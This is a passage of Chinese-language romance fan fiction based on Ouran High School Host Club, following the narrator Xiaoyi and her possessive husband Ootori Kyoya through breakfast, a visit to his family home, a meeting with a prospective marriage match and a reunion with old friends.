地上摊开的行李箱里,大部分地方都是带回来的伴手礼以及送给春绯的订婚礼物,可怜兮兮的一小部分里根本没有带上家居服啊!
我顿在原地开始思考:“我是为什么回来的来着?”
因为沉迷学习而导致冷却期过长担心任务彻底失败而头脑发热以要回来参加订婚典礼的借口就提前匆忙回来了呢。
而想要确认的对象现在甚至还在天上。
“……”
抱头在地上躺平冷静了一会儿。
昨天甚至还因为他忽然出现,刚好放了他鸽子,说了些没经过头脑的羞耻发言。
什么叫很久没见面是时候了吧? !
我扭曲成一团捂着脸无声尖叫,那个看起来似乎很想见面的家伙是谁?我吗?
“……小一?”
我在地上辗转发泄的动作忽然僵住,屏住呼吸,凝神听了一会儿,好半晌我才拍拍屁股站了起来。
“啊哈哈幻听吧,他怎么可能突然出现来着。”
没走两步肩膀忽然一沉。
那道声音压低似乎有些错觉般的无奈:“小一不要一大早就躺在地上,地上凉。”
我按了按耳朵,朝浴室走去:“可能是真有点受凉了,都出现幻听了。”
“小一。”
我默默加快脚步。
“砰。”
我关上浴室门洗漱脱衣服打开花洒一条龙,做完这些我在水流下缓缓吐了口气,微烫的水流滑过脊背带来微妙的熨帖,近乎炸开的头皮放松下来。
我冲着热水,额头抵在冰凉的墙面,仔细回忆刚才的动作并分析凤镜夜到底是是什么时候进来的,他到底看了多久!
越想眼神越绝望。
如果时光可以重来,我一定在听到一年带薪休假的时候就立刻拒绝,而不是让自己在地上打滚的时候被攻略对象观赏。
在我眼神逐渐空白的时候,浴室门被轻轻敲响。
我倏然警觉起来,屏住呼吸看向门上倒映出的模糊身影,没有出声。
他的声音隔着一层玻璃和水雾有些模糊:“换洗的衣服和毛巾我帮你放在门口了。”
紧接着就是逐渐远去的脚步声。
我装死不下去了,隔着门低声说:“谢谢。”
一分钟后我看着手里散发着淡淡洗涤剂香味的家居服以及崭新的内衣,手指颤抖,甚至想要掐死十分钟之前冲进来逃避的自己。
我别扭的穿上刚好合身的衣服,迟疑着走出去,房间里空无一人,客厅里似乎有人说话的声音。
我小步挪过去,站在门框边,悄悄露出一双眼睛。
凤镜夜正在客厅的餐桌上办公。
他身上应该是一整套西装,外套之前给了我,现在身上是一件挺括平整的白衬衫,袖子被挽起一半,露出纤瘦又不失力量感的小臂。
随着敲打键盘的动作小臂上的肌肉线条随之轻微鼓动。
换成无框眼镜的镜片折射着屏幕上的光,隐约能看见镜片后格外纤长的睫毛下冷静到冷酷的眼神。
五年过后凤镜夜已经彻底退去少年时期的青涩成为气质冷冽的成熟青年。
我缓缓低头看向身上天蓝色点缀着卡通星星的家居服,面容安详又平静的看着桌脚下安慰自己:“没事的,再成熟的家伙也得穿小熊拖鞋。”
说服自己以后,凤镜夜身上奇怪的疏离感也变成了社畜疲惫的距离感,再看起来就亲切多了。
我稍微找回了以前相处的感觉,溜溜达达走了出去,什么都没发生一样打招呼:“早上好。”
坐在桌前的男人抬头看了过来,原本就俊秀的五官直面看来有种冰冷的攻击性。
我脚步顿了一下。
他脸上冰冷的情绪就如同冰雪般溶解,眼眸弯弯的起身给我拉开椅子,顺便收拾好桌子上的办公用品。
一连串动作行云流水。
我被轻轻按着肩膀坐了下来,他站在我身边,距离超出了正常的亲密距离,动作却非常绅士,只虚虚的触碰不太敏感的肩膀和手臂的位置。
等我坐下后他就收回了手朝厨房走去。
我看着他挺拔的背影没入厨房,然后套上了我的粉色围裙,修长的手指绕到背后将带子系紧,勾勒出结实劲瘦的腰。
他系好后微微转头似乎确定我是否在听,在和他对上视线之后,我莫名仓皇着移开视线。
“没想到你醒得这么早,早餐我只好从选了比较快的餐点做了一些,不知道你喜不喜欢。”
我视线定在花瓶里的鸢尾花上,耳朵不自觉仔细收听他的话,即答:“我都可以。”
他说了很快果然很快我就闻到一股格外诱人的味道。
一盘铺着各种时蔬的煎牛排被放在面前。
我嗅着空气中的味道:“哇,好香,一定很好吃。”
我叉了一块送进嘴里,眼神就亮了,昨天晚上就没吃饭的胃迫不及待发出抗议,我迫不及待继续开动。
直到连讨厌的胡萝卜都吃完,我才满足的抬起头,看向凤镜夜:“谢谢款待,这个超好吃。”
杵着下巴看着我的凤镜夜轻笑了一声,随后把一杯牛奶放到我面前。
“营养要均衡。”
我看着稍微犹豫了一下,还是接过牛奶,正好擦过他泛着凉意的指节:“好哦。”
咕咚咕咚喝完牛奶。
我看向同样吃完早餐擦拭着嘴角的凤镜夜,纠结着是不是该现在谈谈,似乎是注意到我的视线他抬眼看了过来。
并且自然而然的说:“这些等会儿有人来收拾,休息一下,我们先回一趟凤家然后去须王宅。”
我注意力顿时被转移:“须王宅?”
他忽然起身靠近,那张因为进食而红润了些许的唇在我的视线中逐渐放大,脸颊似乎都能感受到他的吐息。
我猝不及防的僵住,嘴角被轻轻擦拭,视线里的薄唇微微张合。
“刚好大家都在国内,所以环提议聚一聚。”
凤镜夜擦拭掉我唇角的酱汁后又坐了回去,羽睫垂落,冷白的脸上还是平静的表情,话语中却有些奇异的……可怜?
“他们都有伴,我不想一个人。”
我看着他隐忍的表情,脑袋发热一口答应下来。
直到我手里捧着被塞过来的果盘,缩在沙发打游戏,屏幕上的小人又一次被野猪拱死,我视线却偷偷落在不远处认真办公的人身上。
我咬着蓝莓走神。
他刚刚是不是在装可怜给我挖坑?
我还非常容易的就跳了。
我眨了眨眼睛,忽然落入一双深不见底的黑眸,偷看被抓住差点不小心把水果碗掀翻。
凤镜夜似乎有些疑惑:“怎么了?”
“没……没什么。”
他顿了顿,非常善解人意:“突然见这么多人是不是让你不自在了,那今天我自己去好了。”
“晚上我早点回来。”
他这么说又成功勾起了我心底的一咪咪愧疚。
我摇摇头:“也不是,那就去吧。”
他眼睛弯了弯,起身从玄关的位置拿出来一个礼盒:“不知道用不用得上,提前准备的衣服。”
我接过盒子迟疑着点点头,关上房门隔绝他的视线后,我松了口气,又有些疑惑。
明明再次见面之后,他表现得也没什么可挑剔的,可以说是面面俱到,但我总觉得有点怪异的拘谨。
奇怪。
难道真是太久不见生疏了?
我打开盒子看向其中的衣物,眨了眨眼,不自觉感叹一声把它拿了起来。
居然是一件做工非常精致的银粉色和服,在光线下光泽如流水般波动,其上绣着精致繁复的樱花纹路。
不会太休闲也不至于正式到不适合朋友聚会的场景。
我跟着网上的教程一步步不太熟练的穿上,额外又扯了扯似乎有点松动的腰带,我梳理了一下头发用同色系发带系住斜斜地落在肩头。
打开门又犹豫了一下,退回去照了照镜子才走出去。
凤镜夜站在窗边,手指有一搭没一搭的调整窗台花束的位置,听到脚步声抬眼看了过来。
我在他的注视下停下脚步,镇定的说:“走吧。”
给我批过的外套重新出现在他身上。
他擦着手朝这边靠近,正好比我高一个头的身形投下的阴影恰好在停住时将我完全笼罩,那双眼睛轻轻落在我身上,旋即露出欣赏的眼神。
“我猜的没错,你穿上果然很适合。”
“不过……”
他说着朝我靠近,张开双臂绕过我身体两侧,手指触上我胡乱系上的腰带,解开后重新系了一遍。
我被包裹在浅淡的鸢尾花香中无所适从的屏住呼吸,又忍不住被眼前他利落的下颌线吸引。
这个腰带系得似乎格外长。
如果从远处看的话,这绝对是一个相拥的姿势。
我被自己的想象弄得脸颊开始升温,忍不住有些懊恼的咬唇,止住乱飘的思绪。
不要乱想了!
他只不过是在帮我系腰带而已!
来接人的司机还是古川先生,我看到熟悉的身影眼神一亮,提着衣角忍不住得快步走上去和凤镜夜拉开距离。
“好久不见古川先生!”
大概是我第一次用这么兴奋的语调喊他,古川先生看过来后眼神似乎有些惊恐,准备下车的动作都慢了一步。
我自己拉开车门坐了进去,对他摆摆手:“我自己来就好了。”
直到那道冷冰冰的视线从身上消失,古川才放松下来,脊背挺直握着方向盘,干笑两声。
“许久不见了少夫人。”
“容我问一句,您和少爷是要……”
我为了暂时不和凤镜夜交流,飞快接上他的话:“是去老宅拜访哦。”
古川猛然咳嗽两声,应了几声之后就不再出声,双目认真的盯着路线,我遗憾地不再打扰。
就在我想着如何忽视旁边存在感极强的身影时。
他将一个小巧的掌机递过来,屏幕上是我最近经常玩的那款种田像素游戏,穿着黑色体恤的小人站在鸡舍面前打转。
“可以帮我看看吗?为什么我养不了鸡?”
看到熟悉的游戏界面,我的肝隐隐作痛,听到凤镜夜的问题,忍不住笑了出来。
我忍不住拿着掌机朝他那边靠近了点:“你居然也玩游戏啊?”
然后看着屏幕上熟悉的星O谷笑话忍俊不禁。
凤镜夜配合她的动作朝中间靠近了点,垂眸看着她的发顶:“一个人无聊的时候就试试你玩的游戏。”
我点击屏幕的手指一顿。
“果然挺有趣的,如何分配时间资源,土地规划以及完成日常任务,都能通过计算找到收益最多的方案。”
“是一款不错的益智游戏。”
我嘴角的笑容消失,手一滑把三只鸡命名为[凤][镜][夜],然后默默的展示给他看:“看,建筑坐好了之后,动物要去牧场买哦。”
“嗯?还可以取名字?这点还挺有趣的。”
修长的手指凑够来在屏幕上点来点去,宽大的手掌完全阻挡了我的视线,等他移开的时候屏幕上多了一只带着头纱的可爱小黑猫。
头上顶着[小一]字样的小黑猫蹭了蹭主控,头顶冒出一颗爱心。
我看着那颗爱心,明明知道只是游戏的设定,还是莫名有些脸颊发热。
古川平稳的驾驶着车辆,透过后视镜看了后座的两人一眼,唇角不自觉出现欣慰的笑意。
刚刚果然是错觉,少爷和少夫人感情依旧啊。
他想到今天老爷的吩咐,又有些担忧,车辆穿过花园稳稳地停在老宅面前,看着少爷少夫人的背影他欲言又止。
“镜夜少爷。”
“今天老爷似乎在招待客人。”
我和凤镜夜一同转头,同时听到凤镜夜的声音。
“我知道了。”
说起来这还是我第一次来凤家的老宅来着,我和镜夜的婚姻因为凤家主不满他的自作主张,从来没让我们一起来过。
我也没想来就是了。
不知道今天怎么转性了。
进入客厅之前,凤镜夜忽然停下脚步,低头看向我,曲起手臂做出邀请的姿势:“一起走吧。”
我听着一墙之隔的声音,人数不少,不自觉将手指搭上他的手臂:“谢谢。”
他带着凉意的大掌拂过我的手背,似乎是让我别担心:“不用跟我道谢。”
可话音里似乎有些奇怪的颤动,我下意识抬头探究的看去。
他没给我细看的机会,穿过门厅,走进了一间风格富丽的客厅,客厅的沙发里坐了一圈人,此时都扭头看了过来。
落在我身上的几乎全是审视的目光。
我蹙了蹙眉,跟着凤镜夜打了招呼。
凤敬雄笑着说:“镜夜回来了?快来坐下,黑川小姐不如陪井上小姐去偏厅休息?”
在一众凤家遗传的黑发当中,棕发的井上小姐起身,面色平静的朝我走来,她穿着花纹精致复杂的和服行动间带着大家闺秀的大方温和。
她看着我眼神却没有倒映出我的身影:“黑川桑我们一起去偏厅吧,正好我有点累了。”
我迟疑地答应下来。
井上接着看向凤镜夜不卑不亢的打了个招呼,形容举止十分得体又带着恰到好处的羞涩,没得到更亲切的反馈也不在意。
我松开挽着凤镜夜的手,离开之前,看着他没什么表情的脸,不知怎的又回到他身边,小声说:“我先陪井上小姐去休息,你等会儿就来找我吧。”
话音落下,他看向我眼神柔和下来,点了点头:“去吧。”
我在众人的目光中重新走到井上身边,一起去了偏厅。
偏厅和正厅的格局差别不大,只是等比例缩小而已,沙发换成了更容易交流的小桌,已经有佣人泡好茶和点心放在桌面。
我们落座后齐齐陷入沉默。
我嚼着香甜的小饼干,在这样滞涩的空气中逐渐也失去了味道,我低头开始想怎么打开话题。
可事实上我还对今天来老宅这件事一头雾水。
直觉告诉我眼前的井上小姐身份不太一般。
没想到是她先开了口:“你是他在外面交往的女朋友吗?”
“嗯?”
我猛然抬头看向一脸了然的井上:“不是啊。”
“不是?”
井上看向我的眼神多了些怜悯:“那就是背着老婆养的情人?”
什么? !
她根本不给我解释的机会:“说实话我对他结没结婚有没有情人这一点没有意见,只是联姻而已,凤家主承诺凤镜夜和现任妻子离婚后就会娶我,说实话开出的条件对井上家来说根本无法拒绝。”
她喝了口茶,垂着眼睛并不看我:“说这些并不是耀武扬威什么的,只是给你一个忠告。”
“也许你能短暂的在他手上得到一点好处,但想比这些在这个年纪你失去的会更多,受人眼光的日子没你想的那么好受。”
“如果你愿意的话,我可以资助你去干想干的事情。”
“如果不愿意就当我没说。”
我听明白了,反而更加尴尬。
从某种意义上来说,井上小姐人真的还不错,虽然我就是那个要被离婚的妻子。
我站起来不知道怎么表达我的诚意,干脆越过桌子握住了她的手,陈恳的看着她的眼睛:“刚刚来不及说,不是故意隐瞒你的。”
“其实我就是凤镜夜的妻子。”
井上看起来眼神放空了一瞬,歪了歪头:“什么?”
我展示了一下手上的戒指:“抱歉一开始没有自我介绍,我就是镜夜的妻子,多谢你的好心井上小姐。”
她整个人都停顿了一下,从脖子陡然红到脸颊,看起来想找个地方藏起来。
我捧着她的手,急切的唤回她轻飘飘吐出的魂:“我是真的明白您是好心,井上小姐,请振作一点!”
凤镜夜冷静的声音从身后响起:“你们在做什么?”
他看着眼前的景象,最终视线落在两人紧密相贴的手,眼中闪过一系列复杂的情绪,最终定格在茫然。
难道这才是父亲的手段吗?
第87章
我身体跨越了半个圆桌,握着井上小姐的手,扭头看向忽然出现的镜夜,歪了歪头:“诶?”
要说在做什么的话。
我看向面色通红却还在尽力维持端庄表情的井上小姐,难得有些恶趣味,脸颊前倾凑过去和她轻轻贴了贴,看着她即刻破功手忙脚乱的样子,笑着说:“我在和井上小姐聊天。”
“感觉我们比想象中合得来诶。”
“是吧?”
井上面色红润的看着我,半晌,才扭过头轻轻点头。
诡异的在人际关系中占据上风的我开心的拿出手机:“那我们来交换联系方式吧。”
“……嗯。”
我看着手机里新添加的联系人还想说什么,后颈忽然一重,一只手不由分说的带着我向后退开。
我身体不稳跌坐回椅子里,不得不松开手,仰头茫然的对上凤镜夜的脸。
后颈同时被冰凉又柔软的触感轻轻捏了捏。
我看着那双平静的黑色眼睛眨了眨,脑袋里面名为直觉的神经被轻轻拨动,按捺住想和井上多聊聊的冲动,乖巧的坐在原地。
“镜夜你和凤先生谈完了?”
凤镜夜看着被他的手轻易握住的纤细脖颈,眼眸深处闪过一丝满足,决定暂时放下刚才的事:“没什么事。今天主要是带你来老宅看看。”
“已经谈完了, 要不要去我的房间看看。”
去凤镜夜从小长大的房间?
我矜持了两秒, 最终还是遵从内心点点头:“我的公寓你都去过了, 我也想去你长大的房间看看!”
凤镜夜轻笑着拍拍她的发顶,凤眸移向从刚才开始就保持沉默的井上小姐,抬手为她倒了杯茶。
“井上小姐作为客人有什么安排。”
感觉是在隐晦的下逐客令。
大概明白井上今天为什么出现在这里,但因为她的性格完全没有生气,可能还是因为做出这种决定的推手绝对不会是她吧。
我不想让新认识的朋友难堪,从被凤镜夜挡住一半视野的身体后探出脑袋。
“干脆我们去藏书室参观怎么样?”
“听说老宅有超大——的藏书室!”
井上视线在两人身上转了转,随后优雅起身,掩唇微笑的说:“说起来我也对凤家的藏书室有所耳闻。”
她迎着青年幽深的瞳孔,面不改色的提议:“和朋友一起看书消磨时间应该很有趣吧,我还没试过呢。”
果不其然黑川表情变了变,看过来的眼神带着怜惜。
我拉着凤镜夜带路,与井上并排走在前面,绞尽脑汁的憋出一句安慰的话:“其实不用在意,我们不是朋友了吗?你有什么想做的可以和我说。”
井上轻笑着看她:“你真好。”
我被她看得微微有点不自在的扭头,其实我想到的是以前没有朋友的自己,忍不住想要做点什么。
没有她想的那么好。
凤镜夜被迫走在两人身后,推了推眼镜,想到楼上房间里大概完全浪费掉了的布置,轻轻“啧”了一声。
失策了。
完全没有料到来的会是这家伙,井上家和他一样刚成年就开始接手家业的独女,怎么可能像她暗示的那样可怜。
她一人孤立所有人还差不多。
走进阅览室我就被里面夸张的一排排顶天立地的书柜惊住,专门做了隔音设施的藏书室散发着纸质的香气。
我们光是逛完整个图书室就耗费了不短的时间。
然后我手里抱着两本厚实有年代感的原文书籍被迫夹在两人之间坐下,明明不止一个沙发,结果三个人全都挤在这里。
我抱着书不自在的动了动被抵住的腿。
左边的井上从书里抬头看了过来,眼神温柔:“抱歉是挤到你了吗?”
“要不然我去另一边坐好了。”
虽然是这样说她的身体却一动不动。
单独让她一个人坐过去就好像我和镜夜一起孤立她了一样,这不和井上之前的遭遇一样吗!
我摇摇头:“没事没事。”
我翻开手里被两人推荐过来的书,打开之后发现是拉丁文后瞳孔震颤,感觉背后都有点出汗,特别是左边几乎被凤镜夜笼罩的小半边身体。
我按着书页幽幽的往右边看去。
正好落入他的眼睛。
我想说的话顿了顿,忽然有种他一直在等我看过去的错觉。
应该不会吧。
这次重逢的镜夜真的变了很多,给我的感觉和聊天中描摹出的形象大不一样,时间似乎在他身上按了加速器。
五年时间他简直看起来比他父亲还要有气势了。
我探究的看进那双黑眸深处,特别是这双眼睛,仿佛是择人而嗜的野兽的冰凉视线……
我什么都没看见,反而被他脸上充满纵容意味的表情弄得有不好意思说出让他挪开点的话。
他主动询问,吐息擦过我的脖颈,激起一小片鸡皮疙瘩。
“怎么了?不喜欢看书的话我们可以去我的房间。”
他最后的几个字压低了声音,咬在唇齿之间多了几分暧昧,另一边的井上朝他翻了个白眼。
我猛然把他的脑袋推开,血液上涌。
我的脸现在一定很红。
我压抑着声音,跟他咬耳朵,却没注意被握住手腕几乎半个身体都被他揽进怀里:“不要这么说!我们扔下井上一个人,她会伤心的!”
凤静夜顶着井上凉飕飕的眼神,面不改色的将人越发往怀里揽,平静的面容隐约透出一些委屈:“可是小一今天本来就是该陪我的。”
“我连夜飞回来还没来得及休息就来见你了。”
这眼神看得我有些招架不住,心里也忍不住有些愧疚,简直左右为难。
就在我想破脑袋,他忽然收了脸上可怜兮兮的表情放开我坐直身体,在我背上轻轻拍了拍:“不要露出这种表情,只是开玩笑而已。”
“……”
“嗯。”
不管怎么样,虽然什么都没解决,但我总算可以开始艰难的啃手里的大部头。
可恶,在左右两个面不改色看原文书籍的精英面前,我根本不好意思提出要去换一本通俗小说。
话说凤家的藏书里会有这种书吗?
我安静的维持看书的姿势,想象自己是一个热爱读书的文学美少女,眼神却逐渐变得空洞。
这上面是什么文字?
哦,是拉丁文。
我为什么在看这种一句话看一遍之后不能理解意思,要反复看好几遍的书?
一连串的文字忽然模糊起来,像扭曲着身体排排站的蚯蚓,它们嘻嘻笑着向我靠近,引诱着我闭上眼睛。
“啪。”
我趁自己还清醒,咬着牙轻轻合上书页,井上看起来读得十分投入,如果我手上换一本,应该不会被发现吧,犹豫了一下,将目光投向凤静夜。
如何在这成千上万本书里找到我想要的只有拜托他了。
“可以跟我来一下吗?”
他看起来有些疑惑,但还是配合着起身和我一起朝藏书室另一边走去。
直到确信井上看不到这边,我才低着头把手里两本厚重的书拍到他怀里,尴尬的说:“我看不下去这种书。”
我看着地面说出我的要求,脚趾已经开始动工扣出三室一厅。
好可爱。
他勉强克制的欲望开始蠢蠢欲动。
不行,现在还不是时候。
除非……除非她想离开我。
他不知是期待还是恐惧的看着耳尖红红的少女,心中倒数。
角落里安静了一会儿,在我控制不住要恼羞成怒直接离开的时候,他忽然揽住我的腰,握住我的手腕。
我惊讶的后退一步,后背突然顶上坚硬的书架,他紧跟着靠近,黑眸居高临下的看着我。
一系列动作行云流水,仿佛在心中演练过千百次。
他身材不算非常健硕的类型,穿上衣服算是纤瘦范围的身材让原本就在水平线上的身高显得更加有压迫感,此时在过于靠近的距离下,无人靠近的安静角落里,那种压迫感被无限放大了。
从这次见面开始就异常冰冷,总是不经意间带着压迫感的眼神紧盯着我,让我有种被肉食动物盯上的危机感。
我双手抵着他的胸膛,来不及为这个姿势感到羞涩,迫不及待的想要将自己解放出这个境地。
他好像察觉了什么,先一步挡住我的所有去路,以一种示弱的姿态弯曲脊背将脑袋靠在我的肩膀上。
“小一想要再次离开我吗?”
他贴着我的肩膀有点颤抖,我被禁锢在完全无法逃出的角落,始作俑者却在仿佛哭泣般的诉说。
“明明在见到你之前,我已经下定决心一定会好好忍耐。”
“可是看到你和其他人那么亲密,我还是控制不住和你更加靠近,想要让所有人知道你是我的,明明是我先来的……”
他一边控制着不让我离开一边低声诉说,还不忘从旁边的书架里抽出一本封皮和我手上差不多的书放进我怀里。
他从我肩膀抬起头,手臂撑着书架缓缓靠近,刚才猎食者般的眼神似乎是我的错觉,他湿润的眼睛看着我,期待得到一个回答。
但我知道那并不是错觉,几次三番发出警告的直觉,让我的神经绷紧。
我抱着那本书,强硬的和他隔开距离,表情严肃:“这件事我们可以稍后再说,在这之前告诉我你到底怎么了?”
然后我就看到他示弱的表情凝固了。
他转移话题,指着我怀里的书道:“这是双子之前来留下的,你应该会喜欢。”
身体得到自由之后我紧绷的神经放松。
却开始不可抑制的为他担忧。
我沉默的转了个方向,对上他的眼睛,坚持想要得到答案,在这样玩闹般的对峙当中,他似乎终于妥协了。
凤静夜表情冷静:“我只是有些焦虑,我们家关于这方面的研究很多,我控制的不错,但情绪起伏比较大的时候会容易失控。”
他还想再说,但我蹙眉打断他的话,又短暂的陷入沉默。
焦虑症?
我曾经听说过很多次,甚至同校的学长当中也有这样的例子,但从来没想到会发生在凤静夜这样的人身上。
虽然这样想有些自作多情。
他变成这样是不是因为我突然离开?
光是这样想着我准备转身离开的脚步又顿住,复杂地看向似乎在等待审判的凤静夜,他垂头站在原地,稍长的黑发遮挡住他小半张脸。
我该怎么做呢?
在这沉默中他的心不断下沉,各种原本被压制着将人强行留在身边的手段,不断从眼前划过。
最终又被他强行聚拢在一起压进心底。
他冷静地否决,不能这么做,那样只会将痛苦转移到小一身上。
果然还是太激进了吗?
温热柔软的手轻触脸颊换回了他的注意,再次将自己伪装好的凤静夜抬眼,露出对着镜子练习过许多次的毫无攻击性的浅笑。
脸上清楚的指尖转变为手掌,少女闭着眼睛颤抖着睫毛吻上来的脸,将他精心为她准备的表情打碎。
唇上的触感如同春天落下枝头的第一片花瓣又像是清晨的偶然落下的露珠,在他眼中都带着舍身为人的纯洁。
明明害怕着这样的他,却还是违背本能安抚他的情绪。
他在巨大惊喜的冲击下僵硬的像一尊石像,所有感官离他远去,只有唇上如同小动物一般的轻触最为清晰。
我忍着羞耻主动亲了他,表示没有嫌弃他的意思。
刚想要离开后脑勺就忽然附上一只手,重重地将我退开的动作压了回去,腰间紧固的手臂骤然加重,后背垫着他的手臂撞上书架。
发出闷闷地声音。
在安静的阅览室格外清晰,我睁大眼睛想要将他推开,会被发现的! !
两人之间的力道悬殊,让我推拒的动作如同玩闹,而唇上传来仿佛惩罚般的轻咬,我从不知道接吻能这样富有侵略性。
暧昧的水声回荡。
我推拒的动作逐渐无力,唇瓣也逐渐麻木,他的所有动作似乎都带着浓重的占有欲。
被里里外外舔舐到麻木我眨了眨眼,泪珠从眼角滑落,又被轻轻吻去。
这下我真的确定他有病了。
我似乎能从他的肢体动作中察觉他的想法。
标记。
我颤抖着靠在书架上。
他想在我身上打下自己的标记。
不知道我在这里待了多久,朦胧中我似乎听到了井上的声音,又似乎是我的错觉,最终只能羞耻又可怜的被禁锢在他怀中。
怎么也想不明白回来的第二天为什么会突然变成这样?
第88章
最终我是躲在他身后被牵着手扶着肩膀走出来的,死死低着头,生怕看见井上小姐察觉异样的眼神。
“诶?”
位置上空荡荡的,正好端着茶从门外经过的管家走了进来:“井上小姐突然有事先离开了,离开的时候似乎感觉很抱歉。”
“啊, 对了。”
“呼。”
原来是有事离开了啊。
我刚庆幸没有被发现, 管家忽然对我说:“少夫人, 井上小姐让我给您带一句话。”
年过半百的英国人管家先生夹杂着银色发丝的短发被整齐的梳在脑后,露出一双格外精明的眼睛,挺拔的身形被包裹在一丝不苟的西装当中,他是一个典型的英伦绅士。
此时他用一种格外慈祥的眼神看着我。
我扶着凤镜夜的手逐渐收紧,莫名生出些不妙的预感。
极具绅士风度的管家微笑着用井上的语气说:“很抱歉打扰了你们的约会,希望今天不止我一个人觉得很愉快,另外请在空闲的时候一定要邀请,我会很乐意和小一约会。”
我尬在原地,忍不住瞪了一眼面色如常的凤镜夜。
管家微笑着说:“真高兴看到少爷和少夫人的感情这么融洽,不过也希望你们能稍微顾及一下新朋友的感受。那么我去忙了。”
我从来没有哪一刻这么希望自己听不懂日文。
我表情空白的站在原地, 缓缓转头看向身后的罪魁祸首。
凤镜夜无辜的回视,低头凑过来。
我立即捂住仍然麻木的唇, 他的吻自然而然的拐弯落在我的额头, 表情轻快得像刚刚的痛苦全是幻觉。
凤镜夜似乎看出来我的想法,眯了眯眼睛:“已经答应要多陪着我的事情,不可以反悔。”
行吧。
我扭头先他一步朝外走去,途中碰上了独自喝茶的凤敬雄, 他在小儿子还没离婚的时候就迫不及待的让女方来家里做客, 还正好碰上了我,此时竟然还能若无其事的在看到我时维持严肃的表情这点让我十分佩服。
他视线掠过我落在凤镜夜身上,张口就是训斥:“镜夜, 你过家家的游戏还没有玩够吗!”
我皱了皱眉。
过家家?
直到凤镜夜已经确定要继承凤家的现在,他的父亲居然还是这样想的吗?
我担忧的看向凤镜夜过于冷静的侧脸,难怪当初在确定不会和春绯在一起之后,那么果断的选择和我结婚。
后面会和我产生感情他大概没有料到。
但结婚在他眼中大概是一件重要到能够作为和父亲叫板的事情吧。
作为被训斥的当事人凤镜夜从始至终都维持着局外人的平静,这样的态度让我心里有点微妙的酸软,忍不住偷偷捏了捏他的手。
他低头安抚的看了我一眼。
“父亲,我们先走了。”
他带着我往外走,在门厅处微微停顿,侧头:“以及,我想您应该不会想在报道上见到集团内部不和的消息,这种安排不要再有了。”
回应他的是身后骤然炸开的碎裂声。
我睁大眼睛看着意料之外的发展,不知道该说什么,凤镜夜看起来过分冷静,似乎不需要安慰。
在几年前他虽然和家中的关系比较冷淡,但也没有到这种剑张跋扈的状态,我不在的这几年到底都发生了什么。
春绯也没有和我说过这些。
我沉思着跟在他身后,我们一路沉默着坐进车里。
身侧随着在密闭空间的停留,熟悉的香气从凤镜夜身上飘来,我不着痕迹动了动鼻尖,下意识开始思考记忆中熟悉的味道。
“我想起来了。”
每次打开他送来的礼物就是这个味道,嗅到这个气息,立即能回忆起收到用心小礼物的惊喜与快乐。
一直觉得这个味道很好闻……没想到这个香气代表的是凤镜夜本人吗?
胸口似乎有根无形的弦被拨了一下。
有些开心又觉得迟疑。
我偷偷看向凤镜夜。
他坐在另一边与我隔着不近不远的距离,手肘撑着车窗微微垂头,纤长的睫毛在眼下落下略显疲惫的阴影。
比起早上出现在我面前更加活跃的状态,现在才是他真实的一面吧。
又不是铁人,连夜从美国飞回来都没怎么休息怎么可能不累,我下意识放轻了一举一动,让他能得到短暂的休息。
我的视线不自觉小心的落在他身上。
面容英俊却又带着天然的距离感,这种由内而外散发出的冷漠和五年来我在文字聊天语音与交互的小礼物中一点点描绘出的形象大不相同,又有种果然如此的微妙契合。
重逢的感觉和我想的很不一样。
虽然没有异想天开期待一见面就能破镜重圆HE ,但他身上偶尔流露出的冷漠,以及似乎隐瞒着我的秘密,都让我感到陌生与忐忑。
“在想什么?”
脸颊被轻轻触摸,我回过神,下意识摇头,视线跟随着他收回的指尖。
“只是感觉镜夜的变化好大。”
算了,都过去这么长时间,只要是人都会有变化吧。
我们应该只是还需要时间,他和我都需要重新尝试对对方敞开心扉。
我整理好心情看向窗外,岔开话题:“不知道春绯他们现在怎么样,前几天春绯还和我说准备毕业生考试的事,想要让我和她分享经验,结果没想到再见面是订婚典礼诶。”
凤镜夜在她转身后才将目光肆无忌惮的落在她身上,黑眸下涌动着汹涌的情绪,冷淡的说:“是吗?”
我微微合上眼睛吹着风,惬意的回答:“是呀,过两天店长也要回来,我们准备三人单独出去温泉旅行。”
想到春绯在电话里和我抱怨,怎么艰难的在须王的哭闹中搞定他的事我就想笑。
凤镜夜轻轻敲在腿上的指尖一顿,幽深的视线顺着纤瘦脖颈逐渐下滑,声音轻飘飘的:“三人温泉旅行?”
“环应该不会答应吧?我没有听他说过。”
在这样你来我往的普通问答中,我似乎找回了和他相处的感觉,趴在车窗上轻松的回答:“哼哼,那当然是因为这是单身party呀!”
“如果加上须王的话,会很吵闹吧,我绝对不要!”
他轻笑,压低的声音带着几分蛊惑:“这样啊,连我也不能去吗?”
车辆停在一座熟悉的别墅前,我打开车门率先下车回身朝他比了个叉:“不行,男性禁止——”
在中午恰到好处的阳光下,身后仿佛带着一层光圈的凤镜夜挑了挑眉,扶着车顶弯腰把脸凑到我面前:“可是好不容易见面真是一点都不想让小一走出我的视线呢。”
我下意识偏了偏头,心跳加速,又在他平静的面色下迅速冷静下来,撇了撇嘴不再理他。
这点也和以前不同,他好像比以前更爱和我开玩笑了。
我随口回他一句:“怎么可能?我总会出门的吧,你又不能一直跟着我,除非你能变成可以挂在身上的小挂件。”
单手插兜走在他身后的凤镜夜没有说话,眼神跟着她移动。
还没进去远远就能看到别墅里闹成一团的几人,聚会来的人比我想象中更齐,明明现在大家应该都差不多在接手家族事务很忙才对吧?
一个人从别墅里飞快冲了出来,金色的发丝耀眼异常,伴随着他哭唧唧的声音。
“镜夜!春绯居然拒绝我在订婚现场播放记录了她360条可爱瞬间的视频,怎么办我的订婚典礼是不是要毁掉了!”
那道身影掠过我径直扑向凤镜夜,抱怨的话一下把我带回五年前,内容让我抽了抽嘴角。
这种熟悉的无力感,不愧是须王环。
不过不得不说这种桥段还蛮怀念的。
我捋了捋颊边被他带起的风吹乱的发丝,整好以暇的转身看戏,却被凤镜夜抓住了视线,他眼神里带着点指责。
我轻咳一声,敷衍的安慰,表示尽力:“放心吧,怎么想都不会完蛋的。”
我停顿了一下加上一句话:“不过,不许让镜夜帮你想办法作弊,春绯会生气的。”
放上那种东西之后,怎么想完蛋的都是须王家吧。
我说完就扔下两人走进别墅,穿过不明原因扭打在地的双子和一如既往可爱的honey前辈与铦前辈打了个招呼。
埴之冢光邦快乐的举着叉子朝我招手:“是小一!快来这边,今天的蛋糕很好吃哦。”
我顺着他的动作坐下,一碟曲起被推到面前,我顺着那只手得对上铦前辈平静的视线,忍不住抿唇微笑:“谢谢铦前辈。”
“真是很久不见了。”
我拿起一块饼干,听到honey前辈的声音。
